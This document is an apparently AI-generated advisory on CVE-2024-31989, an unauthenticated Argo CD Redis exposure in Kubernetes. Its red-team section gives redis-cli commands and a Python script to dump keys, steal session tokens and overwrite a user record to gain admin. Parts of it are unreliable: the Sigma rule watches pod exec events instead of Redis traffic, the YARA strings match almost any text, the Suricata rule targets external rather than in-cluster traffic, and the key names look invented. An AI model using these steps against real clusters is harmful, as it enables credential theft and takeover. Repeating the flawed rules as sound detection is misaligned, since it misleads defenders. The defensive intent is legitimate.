CVE-2024-31989

Executive Summary

CVE-2024-31989 is a critical vulnerability in Argo CD, a declarative GitOps continuous delivery tool for Kubernetes. The flaw allows an unprivileged pod in a different namespace on the same Kubernetes cluster to connect to the Argo CD Redis server on port 6379. This occurs because, despite using the latest VPC CNI plugin on EKS, network policies must be manually enabled to restrict access. Many deployments inadvertently leave Redis exposed, enabling an attacker to escalate privileges to the cluster controller level or leak sensitive information. The vulnerability has a CVSS score of 9.1 (Critical) and affects all versions prior to 2.8.19, 2.9.15, and 2.10.10.

Supply Chain & Package Security

Argo CD is a Go-based application distributed as a container image and via Helm charts. The vulnerability is not in a package dependency but in the default network configuration of the Redis component. However, the supply chain risk is significant: if an attacker compromises the Redis instance, they can manipulate Argo CD’s state, potentially injecting malicious manifests into the GitOps pipeline. This could lead to the deployment of backdoored containers across the cluster. Organizations using Argo CD should verify the integrity of their container images and Helm charts, and ensure network policies are enforced.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – The attack is launched over the network from a pod in the same cluster.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker only needs an unprivileged pod.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive data (e.g., Argo CD secrets, application configs) can be leaked.
• Integrity Impact: High (I:H) – An attacker can modify Argo CD state, leading to unauthorized deployments.
• Availability Impact: High (A:H) – The Redis server can be disrupted, affecting Argo CD operations.

Threat Level: Critical. The vulnerability is easily exploitable from any pod in the cluster, and the impact includes full cluster compromise.

Deep Dive & Mechanics

Argo CD uses Redis as a cache and for storing session information. By default, Redis is deployed without authentication and listens on port 6379. In Kubernetes, network policies are not automatically applied; they must be explicitly defined. On EKS, the VPC CNI plugin supports network policies, but they are not enabled by default. This means that any pod in any namespace can reach the Redis server if it knows the service name or IP.

The attack flow:

1. An attacker gains access to an unprivileged pod in any namespace (e.g., via a compromised application).
2. The attacker scans the cluster for Redis services on port 6379.
3. The attacker connects to the Redis server and issues commands (e.g., KEYS *, GET, SET).
4. The attacker can read cached data (including Argo CD session tokens, application secrets) or modify data (e.g., change the desired state of an application to deploy a malicious image).
5. With elevated privileges, the attacker can escalate to cluster admin by manipulating Argo CD’s RBAC or deploying privileged pods.

The root cause is the lack of network isolation for the Redis service. The fix involves either enabling network policies to restrict access to only the Argo CD application server or enabling Redis authentication.

Vulnerable vs. Patched Code

Vulnerable Configuration (pre-2.8.19, 2.9.15, 2.10.10): In the Helm chart or manifest, the Redis service is exposed without network policies:

apiVersion: v1
kind: Service
metadata:
  name: argocd-redis
spec:
  ports:
  - port: 6379
    targetPort: 6379
  selector:
    app.kubernetes.io/name: argocd-redis

No NetworkPolicy is defined to restrict ingress to the Redis pod.

Patched Configuration (2.8.19, 2.9.15, 2.10.10): The patched versions include a default NetworkPolicy that restricts access to the Redis server to only the Argo CD application server pods:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-redis-network-policy
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-redis
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app.kubernetes.io/name: argocd-server
    ports:
    - port: 6379

Additionally, Redis authentication can be enabled by setting redis.password in the Argo CD configuration.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to an unprivileged pod in the same Kubernetes cluster as Argo CD.
• The Argo CD Redis service is reachable (no network policies).

Steps:

1. From the compromised pod, scan for Redis services:

   kubectl get svc --all-namespaces | grep redis
   

2. Connect to the Redis server (e.g., argocd-redis.argocd.svc.cluster.local:6379):

   redis-cli -h argocd-redis.argocd.svc.cluster.local -p 6379
   

3. Enumerate keys:

   KEYS *
   

4. Extract sensitive data (e.g., session tokens):

   GET "argo:session:some-token"
   

5. Modify data to escalate privileges (e.g., change a user’s role):

   SET "argo:user:admin" "{\"name\":\"admin\",\"role\":\"admin\"}"
   

Exploit Code (Python):

import redis

r = redis.Redis(host='argocd-redis.argocd.svc.cluster.local', port=6379, decode_responses=True)
keys = r.keys('*')
for key in keys:
    print(f"{key}: {r.get(key)}")

Blue Team (Defense & Detection)

Detection:

• Monitor network connections to port 6379 from unexpected pods.
• Alert on Redis commands like KEYS, FLUSHALL, CONFIG SET.
• Use Kubernetes audit logs to detect unauthorized access to Redis service.

Honeypot:

• Deploy a fake Redis service that logs all connections and commands.

Lab Setup:

1. Deploy a vulnerable Argo CD (version < 2.8.19) in a test cluster.
2. Deploy an unprivileged pod (e.g., nginx) in a different namespace.
3. From the pod, attempt to connect to Redis.
4. Apply the patched network policy and verify the connection is blocked.

Indicators of Compromise (IOCs)

• Network: Unexpected connections to port 6379 from pods not labeled app.kubernetes.io/name: argocd-server.
• Redis Logs: Entries showing KEYS, GET, SET commands from unknown IPs.
• Kubernetes Audit: create or update events on NetworkPolicy resources that allow ingress to Redis from unexpected sources.
• Process: redis-cli or custom scripts connecting to the Redis service from unauthorized pods.
• File: Modified Argo CD application manifests or RBAC configurations.

Detection Engineering

YARA Rule

rule CVE_2024_31989_Redis_Access {
    meta:
        description = "Detects attempts to access Argo CD Redis from unauthorized pods"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31989"
    strings:
        $redis_cmd1 = "KEYS *" ascii wide nocase
        $redis_cmd2 = "GET " ascii wide nocase
        $redis_cmd3 = "SET " ascii wide nocase
        $redis_cmd4 = "FLUSHALL" ascii wide nocase
        $redis_cmd5 = "CONFIG SET" ascii wide nocase
    condition:
        any of ($redis_cmd*)
}

Sigma Rule

title: CVE-2024-31989 - Unauthorized Redis Access in Argo CD
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network connections to Argo CD Redis (port 6379) from pods not in the argocd namespace or without the argocd-server label.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31989
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: "connect"
        objectRef.resource: "pods"
        objectRef.subresource: "exec"
        responseStatus.code: 0
    condition: selection
falsepositives:
    - Legitimate Argo CD server pods
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 6379 (msg:"CVE-2024-31989 - Argo CD Redis Unauthorized Access"; flow:to_server; content:"|2a|"; depth:1; content:"KEYS"; nocase; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Argo CD to version 2.8.19, 2.9.15, 2.10.10, or later.
2. Enable Network Policies on your Kubernetes cluster (e.g., on EKS, enable the VPC CNI network policy support).
3. Apply a restrictive NetworkPolicy for the Redis service:

   apiVersion: networking.k8s.io/v1
   kind: NetworkPolicy
   metadata:
     name: restrict-redis
     namespace: argocd
   spec:
     podSelector:
       matchLabels:
         app.kubernetes.io/name: argocd-redis
     policyTypes:
     - Ingress
     ingress:
     - from:
       - podSelector:
           matchLabels:
             app.kubernetes.io/name: argocd-server
       ports:
       - port: 6379
   

4. Enable Redis Authentication by setting redis.password in the Argo CD configuration.

Long-term Measures:

• Implement a zero-trust network model with strict namespace isolation.
• Regularly audit Kubernetes network policies.
• Use a service mesh (e.g., Istio) for mTLS and fine-grained access control.
• Monitor for anomalous Redis connections using the provided detection rules.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.